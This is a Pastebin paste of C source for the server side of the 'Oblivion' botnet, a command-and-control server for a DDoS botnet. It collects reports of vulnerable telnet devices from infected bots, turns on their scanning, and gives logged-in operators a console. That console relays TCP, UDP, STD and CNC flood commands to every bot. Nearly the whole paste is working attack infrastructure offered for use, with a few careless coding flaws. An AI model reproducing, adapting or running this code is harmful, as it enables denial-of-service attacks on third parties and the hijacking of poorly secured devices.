Advertisement
KappaMoDz

Oblivion botnet Server Side

Feb 11th, 2018
1,028
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 20.86 KB | None | 0 0
  1. //Credits to Demented
  2. //CONNECTION HANDLER MODIFIED BY Jonah
  3. //edited banner -xFyfa
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <string.h>
  7. #include <sys/types.h>
  8. #include <sys/socket.h>
  9. #include <netdb.h>
  10. #include <unistd.h>
  11. #include <time.h>
  12. #include <fcntl.h>
  13. #include <sys/epoll.h>
  14. #include <errno.h>
  15. #include <pthread.h>
  16. #include <signal.h>
  17. #define HACKERZ "V1"
  18. #define MAXFDS 1000000
  19. char *colorCodes[] = {"31m", "32m", "33m", "34m", "35m", "36m"};
  20. char *ports[] = {"80", "3075", "443", "22", "53", "3074", "23", "8080"};
  21. struct account {
  22. char id[20];
  23. char password[20];
  24. };
  25. static struct account accounts[50];
  26. struct clientdata_t {
  27. uint32_t ip;
  28. char build[7];
  29. char connected;
  30. } clients[MAXFDS];
  31. struct telnetdata_t {
  32. int connected;
  33. int hax;
  34. } managements[MAXFDS];
  35. static volatile FILE *telFD;
  36. static volatile FILE *fileFD;
  37. static volatile int epollFD = 0;
  38. static volatile int listenFD = 0;
  39. static volatile int managesConnected = 0;
  40. static volatile int TELFound = 0;
  41. static volatile int scannerreport;
  42. int fdgets(unsigned char *buffer, int bufferSize, int fd)
  43. {
  44. int total = 0, got = 1;
  45. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  46. return got;
  47. }
  48. void trim(char *str)
  49. {
  50. int i;
  51. int begin = 0;
  52. int end = strlen(str) - 1;
  53. while (isspace(str[begin])) begin++;
  54. while ((end >= begin) && isspace(str[end])) end--;
  55. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  56. str[i - begin] = '\0';
  57. }
  58. static int make_socket_non_blocking (int sfd)
  59. {
  60. int flags, s;
  61. flags = fcntl (sfd, F_GETFL, 0);
  62. if (flags == -1)
  63. {
  64. perror ("fcntl");
  65. return -1;
  66. }
  67. flags |= O_NONBLOCK;
  68. s = fcntl (sfd, F_SETFL, flags);
  69. if (s == -1)
  70. {
  71. perror ("fcntl");
  72. return -1;
  73. }
  74. return 0;
  75. }
  76. int hackz;
  77. static int create_and_bind (char *port)
  78. {
  79. struct addrinfo hints;
  80. struct addrinfo *result, *rp;
  81. int s, sfd;
  82. memset (&hints, 0, sizeof (struct addrinfo));
  83. hints.ai_family = AF_UNSPEC;
  84. hints.ai_socktype = SOCK_STREAM;
  85. hints.ai_flags = AI_PASSIVE;
  86. s = getaddrinfo (NULL, port, &hints, &result);
  87. if (s != 0)
  88. {
  89. fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  90. return -1;
  91. }
  92. for (rp = result; rp != NULL; rp = rp->ai_next)
  93. {
  94. sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  95. if (sfd == -1) continue;
  96. int yes = 1;
  97. if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  98. s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  99. if (s == 0)
  100. {
  101. break;
  102. }
  103. close (sfd);
  104. }
  105. if (rp == NULL)
  106. {
  107. fprintf (stderr, "Could not bind\n");
  108. return -1;
  109. }
  110. freeaddrinfo (result);
  111. return sfd;
  112. }
  113. void broadcast(char *msg, int us, char *sender)
  114. {
  115. int sendMGM = 1;
  116. if(strcmp(msg, "PING") == 0) sendMGM = 0;
  117. char *wot = malloc(strlen(msg) + 10);
  118. memset(wot, 0, strlen(msg) + 10);
  119. strcpy(wot, msg);
  120. trim(wot);
  121. time_t rawtime;
  122. struct tm * timeinfo;
  123. time(&rawtime);
  124. timeinfo = localtime(&rawtime);
  125. char *timestamp = asctime(timeinfo);
  126. trim(timestamp);
  127. int i;
  128. for(i = 0; i < MAXFDS; i++)
  129. {
  130. if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
  131. if(sendMGM && managements[i].connected)
  132. {
  133. send(i, "\x1b[36m", 5, MSG_NOSIGNAL);
  134. send(i, sender, strlen(sender), MSG_NOSIGNAL);
  135. send(i, ": ", 2, MSG_NOSIGNAL);
  136. }
  137. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  138. char *root1[1024];
  139. char usernames[80];
  140. sprintf(root1, "\r\n\x1b[%s:~$ \x1b[37m ", colorCodes[rand() % 6]);
  141. if(sendMGM && managements[i].connected) send(i, root1, strlen(root1), MSG_NOSIGNAL);
  142. else send(i, "\n", 1, MSG_NOSIGNAL);
  143. }
  144. free(wot);
  145. }
  146. void *epollEventLoop(void *useless)
  147. {
  148. struct epoll_event event;
  149. struct epoll_event *events;
  150. int s;
  151. events = calloc (MAXFDS, sizeof event);
  152. while (1)
  153. {
  154. int n, i;
  155. n = epoll_wait (epollFD, events, MAXFDS, -1);
  156. for (i = 0; i < n; i++)
  157. {
  158. if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN)))
  159. {
  160. clients[events[i].data.fd].connected = 0;
  161. close(events[i].data.fd);
  162. continue;
  163. }
  164. else if (listenFD == events[i].data.fd)
  165. {
  166. while (1)
  167. {
  168. struct sockaddr in_addr;
  169. socklen_t in_len;
  170. int infd, ipIndex;
  171. in_len = sizeof in_addr;
  172. infd = accept (listenFD, &in_addr, &in_len);
  173. if (infd == -1)
  174. {
  175. if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  176. else
  177. {
  178. perror ("accept");
  179. break;
  180. }
  181. }
  182.  
  183.  
  184. s = make_socket_non_blocking (infd);
  185. if (s == -1) { close(infd); break; }
  186. event.data.fd = infd;
  187. event.events = EPOLLIN | EPOLLET;
  188. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  189. if (s == -1)
  190. {
  191. perror ("epoll_ctl");
  192. close(infd);
  193. break;
  194. }
  195. clients[infd].connected = 1;
  196. send(infd, "!* SCANNER ON\n", 14, MSG_NOSIGNAL);
  197. }
  198. continue;
  199. }
  200. else
  201. {
  202. int thefd = events[i].data.fd;
  203. struct clientdata_t *client = &(clients[thefd]);
  204. int done = 0;
  205. client->connected = 1;
  206. while (1)
  207. {
  208. int cheats;
  209. ssize_t count;
  210. char buf[2048];
  211. memset(buf, 0, sizeof buf);
  212. while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, thefd)) > 0)
  213. {
  214. if(strstr(buf, "\n") == NULL) { done = 1; break; }
  215. trim(buf);
  216. if(strcmp(buf, "PING") == 0) // basic IRC-like ping/pong challenge/response to see if server is alive
  217. {
  218. if(send(thefd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; } // response
  219. continue;
  220. }
  221. if(strstr(buf, "REPORT ") == buf) // received a report of a vulnerable system from a scan
  222. {
  223. char *line = strstr(buf, "REPORT ") + 7;
  224. fprintf(telFD, "%s\n", line); // let's write it out to disk without checking what it is!
  225. fflush(telFD);
  226. TELFound++;
  227. continue;
  228. }
  229. if(strstr(buf, "PROBING") == buf)
  230. {
  231. char *line = strstr(buf, "PROBING");
  232. scannerreport = 1;
  233. continue;
  234. }
  235. if(strstr(buf, "REMOVING PROBE") == buf)
  236. {
  237. char *line = strstr(buf, "REMOVING PROBE");
  238. scannerreport = 0;
  239. continue;
  240. }
  241. if(strcmp(buf, "PONG") == 0)
  242. {
  243. continue;
  244. }
  245. printf("buf: \"%s\"\n", buf);
  246. }
  247. if (count == -1)
  248. {
  249. if (errno != EAGAIN)
  250. {
  251. done = 1;
  252. }
  253. break;
  254. }
  255. else if (count == 0)
  256. {
  257. done = 1;
  258. break;
  259. }
  260. }
  261. if (done)
  262. {
  263. client->connected = 0;
  264. close(thefd);
  265. }
  266. }
  267. }
  268. }
  269. }
  270. unsigned int clientsConnected()
  271. {
  272. int i = 0, total = 0;
  273. for(i = 0; i < MAXFDS; i++)
  274. {
  275. if(!clients[i].connected) continue;
  276. total++;
  277. }
  278. return total;
  279. }
  280. void *titleWriter(void *sock)
  281. {
  282. int thefd = (int)sock;
  283. char string[2048];
  284. while(1)
  285. {
  286. memset(string, 0, 2048);
  287. sprintf(string, "%c]0; :|: Bots Online: %d :|: Telnets: %d :|: Users Online: %d :|:%c", '\033', clientsConnected(), TELFound, managesConnected, '\007');
  288. if(send(thefd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  289. sleep(2);
  290. }
  291. }
  292. int Search_in_File(char *str)
  293. {
  294. FILE *fp;
  295. int line_num = 0;
  296. int find_result = 0, find_line=0;
  297. char temp[512];
  298. if((fp = fopen("login.txt", "r")) == NULL){
  299. return(-1);
  300. }
  301. while(fgets(temp, 512, fp) != NULL){
  302. if((strstr(temp, str)) != NULL){
  303. find_result++;
  304. find_line = line_num;
  305. }
  306. line_num++;
  307. }
  308. if(fp)
  309. fclose(fp);
  310. if(find_result == 0)return 0;
  311. return find_line;
  312. }
  313. void *telnetWorker(void *sock)
  314. {
  315. char usernames[80];
  316. int thefd = (int)sock;
  317. int find_line;
  318. managesConnected++;
  319. pthread_t title;
  320. char counter[2048];
  321. memset(counter, 0, 2048);
  322. char buf[2048];
  323. char* nickstring;
  324. char* username;
  325. char* password;
  326. memset(buf, 0, sizeof buf);
  327. char hackz[2048];
  328. memset(hackz, 0, 2048);
  329. FILE *fp;
  330. int i=0;
  331. int c;
  332. fp=fopen("login.txt", "r"); // format: user pass
  333. while(!feof(fp))
  334. {
  335. c=fgetc(fp);
  336. ++i;
  337. }
  338. int j=0;
  339. rewind(fp);
  340. while(j!=i-1)
  341. {
  342. fscanf(fp, "%s %s", accounts[j].id, accounts[j].password);
  343. ++j;
  344. }
  345. sprintf(hackz, "\x1b[%sUsername:\x1b[30m ", colorCodes[(rand() % 6)]);
  346. if (send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) goto end;
  347. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  348. trim(buf);
  349. sprintf(usernames, buf);
  350. nickstring = ("%s", buf);
  351. find_line = Search_in_File(nickstring);
  352. if(strcmp(nickstring, accounts[find_line].id) == 0){
  353. sprintf(hackz, "\x1b[%sPassword:\x1b[30m ", colorCodes[(rand() % 6)]);
  354. if (send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) goto end;
  355. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  356. trim(buf);
  357. if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  358. memset(buf, 0, 2048);
  359. goto hacker;
  360. }
  361. failed:
  362. if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  363. if(send(thefd, "\x1b[36m Attempting To Log IP Address\r\n", 44, MSG_NOSIGNAL) == -1) goto end;
  364. sleep(2);
  365. if(send(thefd, "\x1b[36m Successfully Logged Bye Bitch\r\n", 44, MSG_NOSIGNAL) == -1) goto end;
  366. sleep(2);
  367. goto end;
  368. hacker:
  369. pthread_create(&title, NULL, &titleWriter, sock);
  370. sprintf(hackz, "\r\n       \x1b[%s\r\n", colorCodes[(rand() % 6)]);
  371. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) goto end;
  372. if (send(thefd, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;//im a hacker hehehe
  373.         char ascii_banner_line1 [5000];
  374.         char ascii_banner_line2 [5000];
  375.         char ascii_banner_line3 [5000];
  376.         char ascii_banner_line4 [5000];
  377.         char ascii_banner_line5 [5000];
  378.         char ascii_banner_line6 [5000];
  379.         char ascii_banner_line7 [5000];
  380.         char ascii_banner_line8 [5000];
  381.         char ascii_banner_line9 [5000];
  382.         char ascii_banner_line10 [5000];
  383.         sprintf(ascii_banner_line1, " \x1b[35m                                                                    \r\n");
  384. sprintf(ascii_banner_line2, "              ,,        ,,    ,,              ,,                     \r\n");
  385. sprintf(ascii_banner_line3, "    .g8""8q.   *MM      `7MM    db              db                     \r\n");
  386. sprintf(ascii_banner_line4, " .dP'    `YM. MM        MM                                           \r\n");
  387. sprintf(ascii_banner_line5, " dM'      `MM MM,dMMb.  MM  `7MM `7M'   `MF'`7MM  ,pW'Wq.`7MMpMMMb.  \r\n");
  388. sprintf(ascii_banner_line6, " MM        MM MM    `Mb MM    MM   VA   ,V    MM 6W'   `Wb MM    MM  \r\n");
  389. sprintf(ascii_banner_line7, " MM.      ,MP MM     M8 MM    MM    VA ,V     MM 8M     M8 MM    MM  \r\n");
  390. sprintf(ascii_banner_line8, " `Mb.    ,dP' MM.   ,M9 MM    MM     VVV      MM YA.   ,A9 MM    MM  \r\n");
  391. sprintf(ascii_banner_line9, "   ''bmmd''   P^YbmdP'.JMML..JMML.    W     .JMML.`Ybmd9'.JMML  JMML.\r\n");
  392. sprintf(ascii_banner_line10,"                                                                    \r\n");
  393.         if(send(thefd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  394.         if(send(thefd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  395.         if(send(thefd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  396.         if(send(thefd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  397.         if(send(thefd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  398.         if(send(thefd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  399.         if(send(thefd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  400.         if(send(thefd, ascii_banner_line8, strlen(ascii_banner_line8), MSG_NOSIGNAL) == -1) goto end;
  401.         if(send(thefd, ascii_banner_line9, strlen(ascii_banner_line9), MSG_NOSIGNAL) == -1) goto end;
  402.         if(send(thefd, ascii_banner_line10, strlen(ascii_banner_line10), MSG_NOSIGNAL) == -1) goto end;
  403. sprintf(hackz, "\x1b[%s\r\nWelcome,\x1b[34m %s\x1b[%s To the Oblivion\r\n", colorCodes[(rand() % 6)], usernames, colorCodes[(rand() % 6)]);
  404. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) goto end;
  405. char *root223[1024];
  406. sprintf(root223, "\x1b[%s~$ \x1b[0;37m ", colorCodes[rand() % 5], usernames);
  407. if(send(thefd, root223, strlen(root223), MSG_NOSIGNAL) == -1) goto end;
  408. pthread_create(&title, NULL, &titleWriter, sock);
  409. managements[thefd].connected = 1;
  410. while(fdgets(buf, sizeof buf, thefd) > 0)
  411. {
  412. if (strncmp(buf, "SHOW", 4) == 0 || strncmp(buf, "BOTS", 4) == 0 || strncmp(buf, "bots", 4) == 0)
  413. {
  414. sprintf(hackz, "[\x1b[36m+\x1b[37m] Bots Online: %d [\x1b[31m-\x1b[37m] Users Online: %d [\x1b[36m+\x1b[37m]\r\n", clientsConnected(), managesConnected);
  415. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
  416. }
  417. if (strncmp(buf, "status", 6) == 0 || strncmp(buf, "STATUS", 6) == 0)
  418. {
  419. sprintf(hackz, "[\x1b[36m+\x1b[37m] Telnet devices: %d [\x1b[31m-\x1b[37m] Telnet status: % [\x1b[36m+\x1b[37m]\r\n", TELFound, scannerreport);
  420. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
  421. }
  422. if (strncmp(buf, "!* STD", 6) == 0 || strncmp(buf, "!* UDP", 6) == 0 || strncmp(buf, "!* TCP", 6) == 0)
  423. {
  424. sprintf(hackz, "[\x1b[36m+\x1b[37m] Successfully Sent Attack [\x1b[36m+\x1b[37m]\r\n");
  425. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
  426. }
  427. if (strncmp(buf, "rules", 5) == 0 || strncmp(buf, "RULES", 5) == 0)
  428. {
  429. sprintf(hackz, "Please Read The Following Rules if not will result in ban\r\n1.) DO NOT SHARE YOUR ACCOUNT INFO \r\n2.) DO NOT SPAM THE NET\r\n3.) Dont hit any goverment websites\r\n");
  430. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
  431. }
  432. if (strncmp(buf, "HELP", 4) == 0 || strncmp(buf, "help", 4) == 0 || strncmp(buf, "?", 4) == 0)
  433. {
  434. sprintf(hackz, "\x1b[37m[+\x1b[36m]Attack Commands----------------------------------\x1b[37m\r\n");
  435. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
  436. sprintf(hackz, "\x1b[37m!* TCP [IP] [PORT] [TIME] 32 all 0 1 | TCP FLOOD\r\n");
  437. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
  438. sprintf(hackz, "\x1b[37m!* UDP [IP] [PORT] [TIME] 32 0 1 | UDP FLOOD\r\n");
  439. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
  440. sprintf(hackz, "\x1b[37m!* STD [IP] [PORT] [TIME] | STD FLOOD\r\n");
  441. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
  442. sprintf(hackz, "\x1b[37m!* CNC [IP] [ADMIN PORT] [TIME] | CNC FLOOD\r\n");
  443. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
  444. sprintf(hackz, "\x1b[37m[+]\x1b[36mExtra Commands-----------------------------------\x1b[37m\r\n");
  445. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
  446. sprintf(hackz, "\x1b[37m!* KILLATTK | KILLS ALL ATTACKS\r\n");
  447. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
  448. sprintf(hackz, "\x1b[37m!* PORT_SCAN IP | MAKE SURE TO PUT THE IP AT THE END\r\n");
  449. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
  450. sprintf(hackz, "\x1b[37m[+]\x1b[36mTerminal Commands----------------------------------\x1b[37m\r\n");
  451. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
  452. sprintf(hackz, "\x1b[37mBOTS | SHOWS BOT COUNT\r\n");
  453. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
  454. sprintf(hackz, "\x1b[37mCLS | CLEARS YOUR SCREEN\r\n");
  455. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
  456. }
  457. if(strstr(buf, "PORT_SCAN")) {
  458. sleep(2);
  459. sprintf(hackz, "Open Ports %s, %s\r\n", ports[(rand() % 8)], ports[(rand() % 8)]);
  460. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
  461. }
  462. if (strncmp(buf, "CLEAR", 5) == 0 || strncmp(buf, "clear", 5) == 0 || strncmp(buf, "cls", 3) == 0 || strncmp(buf, "CLS", 3) == 0)
  463. {
  464. sprintf(hackz, "\r\n       \x1b[%s\r\n", colorCodes[(rand() % 6)]);
  465. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) goto end;
  466. if (send(thefd, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  467. sprintf(ascii_banner_line1, "                                                                     \r\n");
  468. sprintf(ascii_banner_line2, "              ,,        ,,    ,,              ,,                     \r\n");
  469. sprintf(ascii_banner_line3, "    .g8""8q.   *MM      `7MM    db              db                     \r\n");
  470. sprintf(ascii_banner_line4, " .dP'    `YM. MM        MM                                           \r\n");
  471. sprintf(ascii_banner_line5, " dM'      `MM MM,dMMb.  MM  `7MM `7M'   `MF'`7MM  ,pW'Wq.`7MMpMMMb.  \r\n");
  472. sprintf(ascii_banner_line6, " MM        MM MM    `Mb MM    MM   VA   ,V    MM 6W'   `Wb MM    MM  \r\n");
  473. sprintf(ascii_banner_line7, " MM.      ,MP MM     M8 MM    MM    VA ,V     MM 8M     M8 MM    MM  \r\n");
  474. sprintf(ascii_banner_line8, " `Mb.    ,dP' MM.   ,M9 MM    MM     VVV      MM YA.   ,A9 MM    MM  \r\n");
  475. sprintf(ascii_banner_line9, "   ''bmmd''   P^YbmdP'.JMML..JMML.    W     .JMML.`Ybmd9'.JMML  JMML.\r\n");
  476. sprintf(ascii_banner_line10,"                                                                     \r\n");
  477.         if(send(thefd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  478.         if(send(thefd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  479.         if(send(thefd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  480.         if(send(thefd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  481.         if(send(thefd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  482.         if(send(thefd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  483.         if(send(thefd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  484.         if(send(thefd, ascii_banner_line8, strlen(ascii_banner_line8), MSG_NOSIGNAL) == -1) goto end;
  485.         if(send(thefd, ascii_banner_line9, strlen(ascii_banner_line9), MSG_NOSIGNAL) == -1) goto end;
  486.         if(send(thefd, ascii_banner_line10, strlen(ascii_banner_line10), MSG_NOSIGNAL) == -1) goto end;
  487. sprintf(hackz, "\x1b[%s\r\nWelcome,\x1b[34m %s\x1b[%s To the Oblivion\r\n", colorCodes[(rand() % 6)], usernames, colorCodes[(rand() % 6)]);
  488. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) goto end;
  489. char *root55[1024];
  490. sprintf(root55, "\x1b[%s~$ \x1b[0;37m ", colorCodes[rand() % 5], usernames);
  491. if(send(thefd, root55, strlen(root55), MSG_NOSIGNAL) == -1) goto end;
  492. pthread_create(&title, NULL, &titleWriter, sock);
  493. managements[thefd].connected = 1;
  494. }
  495. if (strncmp(buf, "exit", 4) == 0 || strncmp(buf, "EXIT", 4) == 0 || strncmp(buf, "LOGOUT", 6) == 0)
  496. {
  497. goto end;
  498. }
  499. if (strncmp(buf, "2000", 4) == 0 || strncmp(buf, "2100", 4) == 0 || strncmp(buf, "2200", 4) == 0 || strncmp(buf, "2300", 4) == 0 || strncmp(buf, "2400", 4) == 0 || strncmp(buf, "2500", 4) == 0)
  500. {
  501. printf("Over Time By %s\n", accounts[find_line].id, buf);
  502. FILE *logFile;
  503. logFile = fopen("OverTime.log", "a");
  504. fprintf(logFile, "ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].id, buf);
  505. fclose(logFile);
  506. goto end;
  507. }
  508. if(strstr(buf, "LOLNOGTFO"))
  509. {
  510. printf("ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].id, buf);
  511. FILE *logFile;
  512. logFile = fopen("KILL.log", "a");
  513. fprintf(logFile, "ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].id, buf);
  514. fclose(logFile);
  515. goto end;
  516. }
  517. if(strstr(buf, "SH"))
  518. {
  519. printf("ATTEMPT TO SH BOTS BY %s\n", accounts[find_line].id, buf);
  520. FILE *logFile;
  521. logFile = fopen("SH.log", "a");
  522. fprintf(logFile, "ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].id, buf);
  523. fclose(logFile);
  524. goto end;
  525. }
  526. trim(buf);
  527. char *root2[1024];
  528. sprintf(root2, "\x1b[%s~$ \x1b[0;37m ", colorCodes[rand() % 5], usernames);
  529. if(send(thefd, root2, strlen(root2), MSG_NOSIGNAL) == -1) goto end;
  530. if(strlen(buf) == 0) continue;
  531. printf("%s: \"%s\"\n",accounts[find_line].id, buf);
  532. FILE *logFile;
  533. logFile = fopen("report.log", "a");
  534. fprintf(logFile, "%s: \"%s\"\n",accounts[find_line].id, buf);
  535. fclose(logFile);
  536. broadcast(buf, thefd, usernames);
  537. memset(buf, 0, 2048);
  538. }
  539. end: // cleanup dead socket
  540. managements[thefd].connected = 0;
  541. close(thefd);
  542. managesConnected--;
  543. }
  544. void *telnetListener(int port)
  545. {
  546. int sockfd, newsockfd;
  547. socklen_t clilen;
  548. struct sockaddr_in serv_addr, cli_addr;
  549. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  550. if (sockfd < 0) perror("ERROR opening socket");
  551. bzero((char *) &serv_addr, sizeof(serv_addr));
  552. serv_addr.sin_family = AF_INET;
  553. serv_addr.sin_addr.s_addr = INADDR_ANY;
  554. serv_addr.sin_port = htons(port);
  555. if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
  556. listen(sockfd,5);
  557. clilen = sizeof(cli_addr);
  558. while(1)
  559. {
  560. newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  561. if (newsockfd < 0) perror("ERROR on accept");
  562. pthread_t thread;
  563. pthread_create( &thread, NULL, &telnetWorker, (void *)newsockfd);
  564. }
  565. }
  566. int main (int argc, char *argv[], void *sock)
  567. {
  568. signal(SIGPIPE, SIG_IGN); // ignore broken pipe errors sent from kernel
  569. int s, threads, port;
  570. struct epoll_event event;
  571. if (argc != 4)
  572. {
  573. fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  574. exit (EXIT_FAILURE);
  575. }
  576. port = atoi(argv[3]);
  577. telFD = fopen("telnet.txt", "a+");
  578. threads = atoi(argv[2]);
  579. listenFD = create_and_bind (argv[1]); // try to create a listening socket, die if we can't
  580. if (listenFD == -1) abort ();
  581. s = make_socket_non_blocking (listenFD); // try to make it nonblocking, die if we can't
  582. if (s == -1) abort ();
  583. s = listen (listenFD, SOMAXCONN); // listen with a huuuuge backlog, die if we can't
  584. if (s == -1)
  585. {
  586. perror ("listen");
  587. abort ();
  588. }
  589. epollFD = epoll_create1 (0);
  590. if (epollFD == -1)
  591. {
  592. perror ("epoll_create");
  593. abort ();
  594. }
  595. event.data.fd = listenFD;
  596. event.events = EPOLLIN | EPOLLET;
  597. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  598. if (s == -1)
  599. {
  600. perror ("epoll_ctl");
  601. abort ();
  602. }
  603. pthread_t thread[threads + 2];
  604. while(threads--)
  605. {
  606. pthread_create( &thread[threads + 1], NULL, &epollEventLoop, (void *) NULL);
  607. }
  608. pthread_create(&thread[0], NULL, &telnetListener, port);
  609. while(1)
  610. {
  611. broadcast("PING", -1, "HACKER");
  612. sleep(60);
  613. }
  614. close (listenFD);
  615. return EXIT_SUCCESS;
  616. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement